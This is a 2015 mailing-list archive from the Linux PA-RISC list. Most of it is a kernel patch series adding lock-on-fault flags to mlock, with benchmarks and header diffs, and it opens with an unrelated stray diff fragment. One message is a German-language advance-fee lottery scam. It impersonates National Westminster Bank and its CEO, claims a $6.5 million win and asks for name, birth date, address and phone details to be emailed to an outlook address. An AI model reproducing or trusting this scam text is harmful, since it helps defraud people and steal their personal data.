+++ b/arch/parisc/kernel/traps.c
@@ -43,10 +43,6 @@
=20
 #include "../math-emu/math-emu.h"	/* for handle_fpe() */
=20
-#if defined(CONFIG_SMP) || defined(CONFIG_DEBUG_SPINLOCK)
-DEFINE_SPINLOCK(pa_dbit_lock);
-#endif

From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Natwest Bank <n.westfunds15@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: =?UTF-8?Q?GLUCKWUNGL=C3=9CCKWUNSCH_AN_SIE_=28=246=2E500=2E000=2C00_USD=29?=
Date: Mon, 6 Jul 2015 22:14:38 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <CAMUOFFQVN-AzzFJp7Fr4ndNR5uyWJ73p6RT7Tohjy1LwYaParQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1436217283 11690 80.91.229.3 (6 Jul 2015 21:14:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2015 21:14:43 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 23:14:42 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZCDir-0004uo-Oe
	for glpp-linux-parisc@plane.gmane.org; Mon, 06 Jul 2015 23:14:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753661AbbGFVOk convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2015 17:14:40 -0400
Original-Received: from mail-oi0-f67.google.com ([209.85.218.67]:36618 "EHLO
	mail-oi0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751081AbbGFVOj convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2015 17:14:39 -0400
Original-Received: by oiyy130 with SMTP id y130so4843373oiy.3
        for <linux-parisc@vger.kernel.org>; Mon, 06 Jul 2015 14:14:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        bh=WCIufs76AB5EK2KzJ/FUHxER3ab8CNV/QTUtGzhPenE=;
        b=vCdJVt1R/x2i8fW1NalDGn+3NJhoTTwW6Aies0z4XPpf2MHKeOM2IHQTk9UbGtAQOr
         5zDYajcGfTo1iGBj/OHPu5PsLNfjIjj/BmPxsmSNAtBzIka60h7r1TbroxB33/oPkakX
         khalFbd1WpXCdJpBWezjEU5MIOowWFRTyluMowvKACWIVnMcn7+XQLfSpP0T+OPjEASJ
         DqXxswlOC9E7kMwL7hLSfAjZFrVaS+RrUKTypr18yeOL1S5YPBqlaWHmWMXOnpPc34mS
         Q2wGNEcCJ9ktxdNKpTZUse30gHJtkK5JAtk7UlqSa48ou7Z/OApFweq2MpZE4/DMbHWq
         HmpQ==
X-Received: by 10.182.128.234 with SMTP id nr10mr708343obb.81.1436217278323;
 Mon, 06 Jul 2015 14:14:38 -0700 (PDT)
Original-Received: by 10.76.103.67 with HTTP; Mon, 6 Jul 2015 14:14:38 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25803
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25803>

UNITED STATES OF AMERICA LOTTO INC.
ADRESSE: LANDSDOWN
STADT: St NORTH BETHESDA
STATE/PROVINCE: MARYLAND
POSTCODE: 20852
LAND: USA
    INC.
********************
REF NR.:525743970
STAPEL NR.:6474869989/603
************************
LOTTO GEWINNER
BETR.: ENDGULTIGE NOTIFIKATION
GLUCKWUNSCHE!

Die Vereinigten Staaten Lottery Inc: Wir sind erfreut, offiziell
mitteilen zu k=C3=B6nnen, dass Ihre E-Mail-Adresse ist die Summe von
$6.500.000,00 USD gewann heute gewesen 06 Juli 2015. Sie sollten der
National Westminster Bank Plc mit folgenden Daten kontaktieren.
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
National Westminster Bank Plc
BUNDESREPUBLIK DEUTSCHLAND PAYMENT ZENTRUM
Ansprechpartner: Dr.Ross McEwan
National Westminster Bank, CEO
# 135 Bishopsgate London EC2M 3UR
London, United Kingdom.
E-mail:  posteuromoney@outlook.com
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Um Ihren Preis wert Summe von $6.500.000,00 USD behaupten, sollten Sie
in Ihrem genaue Daten zu f=C3=BCllen, wie unten an und =C3=BCbermittelt=
 ihn
unverz=C3=BCglich die erforderlichen National Westminster Bank Plc,
Bundesrepublik Deutschland Zahlung per e-mail:
posteuromoney@outlook.com
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
{UNITED STATES Lottogewinner ANTRAG AUF ZAHLUNG}.
*************************************************
VORNAME __________________
NAMEN ________________________
GEBURT _______________________
SEX _________________________
ADRESSE _____________________
NATIONALITY _________________
JOB _________________________
TELEFONNUMMER ____________
=46axnummer __________________
Gewonnene Betrag __________________
************************
STAPEL NR.:6474869989/603
************************
GENEHMIGT FUE    R ZAHLUNG
*************************
NOTIZ
******************************
Registereintragung:
Amtsgericht Hamburg BDW 9243
Vorsitzender des Aufsichtsrats:
Dipl.-Ing. Dr.-Ing. E.h.
Sven IngelmannVorstand:
Peter Wilde
(Vorsitzender)
Jochen Karl
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.api
Subject: [PATCH V3 0/5] Allow user to request memory to be locked on page fault
Date: Tue,  7 Jul 2015 13:03:38 -0400
Lines: 206
Approved: news@gmane.org
Message-ID: <1436288623-13007-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1436288643 12526 80.91.229.3 (7 Jul 2015 17:04:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2015 17:04:03 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Vlastimil Babka <vbabka@suse.cz>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jul 07 19:03:57 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZCWHk-0002Xv-7D
	for glka-linux-arch@plane.gmane.org; Tue, 07 Jul 2015 19:03:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757858AbbGGRDx (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 7 Jul 2015 13:03:53 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:32999 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757213AbbGGRDv (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Tue, 7 Jul 2015 13:03:51 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id C668628E01;
	Tue,  7 Jul 2015 17:03:49 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 9B95928E19;
	Tue,  7 Jul 2015 17:03:49 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1436288629; bh=MU42skpkf6LdRlOq1f3kVG0tidieV4v94G8Q8lq4a4Q=;
	h=From:To:Cc:Subject:Date:From;
	b=ifGkiKTetAjesX/kSHqNFXrnzrvhBY7sk18Yi4EvHPcZl7XnEu60caAjQ7l0cQCY8
	 /qnFkV8ZgR7AgSyBr6nXEMrV/we18mdBdNFutwXyGaG8Jv7x4RiPgtce2UESZ12FyW
	 2LROv4cXtFz27C8LgFT763hejpR3TqQmva9OHHjY=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (unknown [172.28.13.149])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 9423180084;
	Tue,  7 Jul 2015 17:03:49 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28213 gmane.linux.ports.alpha:3171 gmane.linux.kernel:1990566 gmane.linux.ports.mips.general:49248 gmane.linux.ports.parisc:25804 gmane.linux.ports.ppc64.devel:114888 gmane.linux.ports.sparc:21205 gmane.linux.kernel.mm:135233 gmane.linux.kernel.api:12585
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28213>

mlock() allows a user to control page out of program memory, but this
comes at the cost of faulting in the entire mapping when it is
allocated.  For large mappings where the entire area is not necessary
this is not ideal.  Instead of forcing all locked pages to be present
when they are allocated, this set creates a middle ground.  Pages are
marked to be placed on the unevictable LRU (locked) when they are first
used, but they are not faulted in by the mlock call.

This series introduces a new mlock() system call that takes a flags
argument along with the start address and size.  This flags argument
gives the caller the ability to request memory be locked in the
traditional way, or to be locked after the page is faulted in.  New
calls are added for munlock() and munlockall() which give the called a
way to specify which flags are supposed to be cleared.  A new MCL flag
is added to mirror the lock on fault behavior from mlock() in
mlockall().  Finally, a flag for mmap() is added that allows a user to
specify that the covered are should not be paged out, but only after the
memory has been used the first time.

There are two main use cases that this set covers.  The first is the
security focussed mlock case.  A buffer is needed that cannot be written
to swap.  The maximum size is known, but on average the memory used is
significantly less than this maximum.  With lock on fault, the buffer
is guaranteed to never be paged out without consuming the maximum size
every time such a buffer is created.

The second use case is focussed on performance.  Portions of a large
file are needed and we want to keep the used portions in memory once
accessed.  This is the case for large graphical models where the path
through the graph is not known until run time.  The entire graph is
unlikely to be used in a given invocation, but once a node has been
used it needs to stay resident for further processing.  Given these
constraints we have a number of options.  We can potentially waste a
large amount of memory by mlocking the entire region (this can also
cause a significant stall at startup as the entire file is read in).
We can mlock every page as we access them without tracking if the page
is already resident but this introduces large overhead for each access.
The third option is mapping the entire region with PROT_NONE and using
a signal handler for SIGSEGV to mprotect(PROT_READ) and mlock() the
needed page.  Doing this page at a time adds a significant performance
penalty.  Batching can be used to mitigate this overhead, but in order
to safely avoid trying to mprotect pages outside of the mapping, the
boundaries of each mapping to be used in this way must be tracked and
available to the signal handler.  This is precisely what the mm system
in the kernel should already be doing.

For mlock(MLOCK_ONFAULT) and mmap(MAP_LOCKONFAULT) the user is charged
against RLIMIT_MEMLOCK as if mlock(MLOCK_LOCKED) or mmap(MAP_LOCKED) was
used, so when the VMA is created not when the pages are faulted in.  For
mlockall(MCL_ONFAULT) the user is charged as if MCL_FUTURE was used.
This decision was made to keep the accounting checks out of the page
fault path.

To illustrate the benefit of this set I wrote a test program that mmaps
a 5 GB file filled with random data and then makes 15,000,000 accesses
to random addresses in that mapping.  The test program was run 20 times
for each setup.  Results are reported for two program portions, setup
and execution.  The setup phase is calling mmap and optionally mlock on
the entire region.  For most experiments this is trivial, but it
highlights the cost of faulting in the entire region.  Results are
averages across the 20 runs in milliseconds.

mmap with mlock(MLOCK_LOCKED) on entire range:
Setup avg:      8228.666
Processing avg: 8274.257

mmap with mlock(MLOCK_LOCKED) before each access:
Setup avg:      0.113
Processing avg: 90993.552

mmap with PROT_NONE and signal handler and batch size of 1 page:
With the default value in max_map_count, this gets ENOMEM as I attempt
to change the permissions, after upping the sysctl significantly I get:
Setup avg:      0.058
Processing avg: 69488.073

mmap with PROT_NONE and signal handler and batch size of 8 pages:
Setup avg:      0.068
Processing avg: 38204.116

mmap with PROT_NONE and signal handler and batch size of 16 pages:
Setup avg:      0.044
Processing avg: 29671.180

mmap with mlock(MLOCK_ONFAULT) on entire range:
Setup avg:      0.189
Processing avg: 17904.899

The signal handler in the batch cases faulted in memory in two steps to
avoid having to know the start and end of the faulting mapping.  The
first step covers the page that caused the fault as we know that it will
be possible to lock.  The second step speculatively tries to mlock and
mprotect the batch size - 1 pages that follow.  There may be a clever
way to avoid this without having the program track each mapping to be
covered by this handeler in a globally accessible structure, but I could
not find it.  It should be noted that with a large enough batch size
this two step fault handler can still cause the program to crash if it
reaches far beyond the end of the mapping.

These results show that if the developer knows that a majority of the
mapping will be used, it is better to try and fault it in at once,
otherwise MAP_LOCKONFAULT is significantly faster.

The performance cost of these patches are minimal on the two benchmarks
I have tested (stream and kernbench).  The following are the average
values across 20 runs of stream and 10 runs of kernbench after a warmup
run whose results were discarded.

Avg throughput in MB/s from stream using 1000000 element arrays
Test     4.2-rc1      4.2-rc1+lock-on-fault
Copy:    10,566.5     10,421
Scale:   10,685       10,503.5
Add:     12,044.1     11,814.2
Triad:   12,064.8     11,846.3

Kernbench optimal load
                 4.2-rc1  4.2-rc1+lock-on-fault
Elapsed Time     78.453   78.991
User Time        64.2395  65.2355
System Time      9.7335   9.7085
Context Switches 22211.5  22412.1
Sleeps           14965.3  14956.1

---

Changes from V2:

Added new system calls for mlock, munlock, and munlockall with added
flags arguments for controlling how memory is locked or unlocked.

Eric B Munson (5):
  mm: mlock: Refactor mlock, munlock, and munlockall code
  mm: mlock: Add new mlock, munlock, and munlockall system calls
  mm: mlock: Introduce VM_LOCKONFAULT and add mlock flags to enable it
  mm: mmap: Add mmap flag to request VM_LOCKONFAULT
  selftests: vm: Add tests for lock on fault

 arch/alpha/include/asm/unistd.h             |   2 +-
 arch/alpha/include/uapi/asm/mman.h          |   5 +
 arch/alpha/kernel/systbls.S                 |   3 +
 arch/arm/kernel/calls.S                     |   3 +
 arch/arm64/include/asm/unistd32.h           |   6 +
 arch/avr32/kernel/syscall_table.S           |   3 +
 arch/blackfin/mach-common/entry.S           |   3 +
 arch/cris/arch-v10/kernel/entry.S           |   3 +
 arch/cris/arch-v32/kernel/entry.S           |   3 +
 arch/frv/kernel/entry.S                     |   3 +
 arch/ia64/kernel/entry.S                    |   3 +
 arch/m32r/kernel/entry.S                    |   3 +
 arch/m32r/kernel/syscall_table.S            |   3 +
 arch/m68k/kernel/syscalltable.S             |   3 +
 arch/microblaze/kernel/syscall_table.S      |   3 +
 arch/mips/include/uapi/asm/mman.h           |   8 +
 arch/mips/kernel/scall32-o32.S              |   3 +
 arch/mips/kernel/scall64-64.S               |   3 +
 arch/mips/kernel/scall64-n32.S              |   3 +
 arch/mips/kernel/scall64-o32.S              |   3 +
 arch/mn10300/kernel/entry.S                 |   3 +
 arch/parisc/include/uapi/asm/mman.h         |   5 +
 arch/powerpc/include/uapi/asm/mman.h        |   5 +
 arch/s390/kernel/syscalls.S                 |   3 +
 arch/sh/kernel/syscalls_32.S                |   3 +
 arch/sparc/include/uapi/asm/mman.h          |   5 +
 arch/sparc/kernel/systbls_32.S              |   2 +-
 arch/sparc/kernel/systbls_64.S              |   4 +-
 arch/tile/include/uapi/asm/mman.h           |   8 +
 arch/x86/entry/syscalls/syscall_32.tbl      |   3 +
 arch/x86/entry/syscalls/syscall_64.tbl      |   3 +
 arch/xtensa/include/uapi/asm/mman.h         |   8 +
 arch/xtensa/include/uapi/asm/unistd.h       |  10 +-
 fs/proc/task_mmu.c                          |   1 +
 include/linux/mm.h                          |   1 +
 include/linux/mman.h                        |   3 +-
 include/linux/syscalls.h                    |   4 +
 include/uapi/asm-generic/mman.h             |   5 +
 include/uapi/asm-generic/unistd.h           |   8 +-
 kernel/sys_ni.c                             |   3 +
 mm/mlock.c                                  | 135 +++++++++--
 mm/mmap.c                                   |   6 +-
 mm/swap.c                                   |   3 +-
 tools/testing/selftests/vm/Makefile         |   2 +
 tools/testing/selftests/vm/lock-on-fault.c  | 342 ++++++++++++++++++++++++++++
 tools/testing/selftests/vm/on-fault-limit.c |  47 ++++
 tools/testing/selftests/vm/run_vmtests      |  22 ++
 47 files changed, 681 insertions(+), 32 deletions(-)
 create mode 100644 tools/testing/selftests/vm/lock-on-fault.c
 create mode 100644 tools/testing/selftests/vm/on-fault-limit.c

Cc: Shuah Khan <shuahkh@osg.samsung.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org

-- 
1.9.1


From - Thu Nov 08 21:37:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V3 3/5] mm: mlock: Introduce VM_LOCKONFAULT and add mlock flags to enable it
Date: Tue,  7 Jul 2015 13:03:41 -0400
Lines: 410
Approved: news@gmane.org
Message-ID: <1436288623-13007-4-git-send-email-emunson@akamai.com>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1436288652 12641 80.91.229.3 (7 Jul 2015 17:04:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2015 17:04:12 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jul 07 19:04:00 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZCWHn-0002at-53
	for glkm-linux-mm-2@m.gmane.org; Tue, 07 Jul 2015 19:03:59 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 926C06B0254; Tue,  7 Jul 2015 13:03:55 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 8D86C6B0255; Tue,  7 Jul 2015 13:03:55 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 79F6C6B0256; Tue,  7 Jul 2015 13:03:55 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f173.google.com (mail-qk0-f173.google.com [209.85.220.173])
	by kanga.kvack.org (Postfix) with ESMTP id 4E9086B0254
	for <linux-mm@kvack.org>; Tue,  7 Jul 2015 13:03:55 -0400 (EDT)
Original-Received: by qkei195 with SMTP id i195so144400188qke.3
        for <linux-mm@kvack.org>; Tue, 07 Jul 2015 10:03:55 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=Ze4uBYtrOKDyWQfcD+VvJTHX8rhekd/mPXAD/D33ubg=;
        b=GZXnppNo5raskM/J515ZGCfi/cXKVirnGmdsJPlCb4bZ9tqOpnAHqK7cq2UtZnPp5J
         U7RufxOsAAOQqGiyHWMpdMix/BmBGraKMALMdr3K+Ns5OZhIpxznn6Q6OK5K6G2H+bf9
         1b0qhPjE4qcfSML78OmSdvinqLokoLmC3KE+tjSV/U2uRkMLQLvRDxlm9jUzLeryJy4O
         oH7KmEkATJXEe035YVdcuABJeeMTrJvt9J8/P3340jsFJlSZfWPfsK4jKTzoGu+6sAMA
         bOXoobrIp2ddD5YFY2PQ1xr0/1imiWbr4igkQdPIbUXSFyMQmDnuRCL4QkVeivwKOJqL
         MPNg==
X-Gm-Message-State: ALoCoQk+9kYXhwgoQY/q2HtJObTCphbyA/+umrrh+g7JnFOoDGiMcKoBhquOHAEm6Grdi9Y/15NVG7ncbdOQRcXFlPNNNAAoATyNnSnJltAUv12CQHrb/JymnJPVyrtfFyBW10rAo1ayky28HBr+6u+LhNNJTj3P83liUNFFVh3MoJVAG1HFMR0rwcLPAG+E9fyQ5REjobvz
X-Received: by 10.140.132.68 with SMTP id 65mr4884487qhe.6.1436288635125;
        Tue, 07 Jul 2015 10:03:55 -0700 (PDT)
X-Received: by 10.140.132.68 with SMTP id 65mr4884020qhe.6.1436288631976;
        Tue, 07 Jul 2015 10:03:51 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com ([23.79.238.175])
        by mx.google.com with ESMTP id d4si25623044qka.106.2015.07.07.10.03.51
        for <linux-mm@kvack.org>;
        Tue, 07 Jul 2015 10:03:51 -0700 (PDT)
Received-SPF: softfail (google.com: domain of transitioning emunson@akamai.com does not designate 23.79.238.175 as permitted sender) client-ip=23.79.238.175;
Authentication-Results: mx.google.com;
       spf=softfail (google.com: domain of transitioning emunson@akamai.com does not designate 23.79.238.175 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id C420448E0E;
	Tue,  7 Jul 2015 17:04:01 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id A706048E12;
	Tue,  7 Jul 2015 17:04:01 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1436288641; bh=tnPn97hMOe9M1kNxhqRwoX6y/3vdowUiJkqYHe7PLTI=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=h9xto/gqNWWshigCuQ2iyfnofjhlQQdTp05dd7BwQGDcK67sIFbN4kyKMP57q8qdE
	 dfhc8HPiRA235eU7BWVI7HPCxQbZh4rwAGpOZo2vFXhZIzmZPGaKaFC6V0LSbqv0Yc
	 Y6GbaISo5ErtBzI+ca4XBW61nbmuDCmGqFk5s7G4=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (unknown [172.28.13.149])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 4631D8008A;
	Tue,  7 Jul 2015 17:03:51 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1436288623-13007-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:135234 gmane.linux.ports.alpha:3172 gmane.linux.kernel:1990567 gmane.linux.ports.mips.general:49249 gmane.linux.ports.parisc:25805 gmane.linux.ports.ppc64.devel:114889 gmane.linux.ports.sparc:21206 gmane.linux.kernel.cross-arch:28214 gmane.linux.kernel.api:12586
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/135234>

The cost of faulting in all memory to be locked can be very high when
working with large mappings.  If only portions of the mapping will be
used this can incur a high penalty for locking.

For the example of a large file, this is the usage pattern for a large
statical language model (probably applies to other statical or graphical
models as well).  For the security example, any application transacting
in data that cannot be swapped out (credit card data, medical records,
etc).

This patch introduces the ability to request that pages are not
pre-faulted, but are placed on the unevictable LRU when they are finally
faulted in.  This can be done area at a time via the
mlock2(MLOCK_ONFAULT) or the mlockall(MCL_ONFAULT) system calls.  These
calls can be undone via munlock2(MLOCK_ONFAULT) or
munlockall2(MCL_ONFAULT).

To keep accounting checks out of the page fault path, users are billed
for the entire mapping lock as if MLOCK_LOCKED was used.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
---
 arch/alpha/include/uapi/asm/mman.h   |  2 +
 arch/mips/include/uapi/asm/mman.h    |  2 +
 arch/parisc/include/uapi/asm/mman.h  |  2 +
 arch/powerpc/include/uapi/asm/mman.h |  2 +
 arch/sparc/include/uapi/asm/mman.h   |  2 +
 arch/tile/include/uapi/asm/mman.h    |  3 ++
 arch/xtensa/include/uapi/asm/mman.h  |  2 +
 fs/proc/task_mmu.c                   |  1 +
 include/linux/mm.h                   |  1 +
 include/uapi/asm-generic/mman.h      |  2 +
 mm/mlock.c                           | 72 ++++++++++++++++++++++++++----------
 mm/mmap.c                            |  4 +-
 mm/swap.c                            |  3 +-
 13 files changed, 75 insertions(+), 23 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index ec72436..77ae8db 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -37,8 +37,10 @@
 
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
+#define MCL_ONFAULT	32768		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index 67c1cdf..71ed81d 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -61,11 +61,13 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 /*
  * Flags for mlock
  */
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
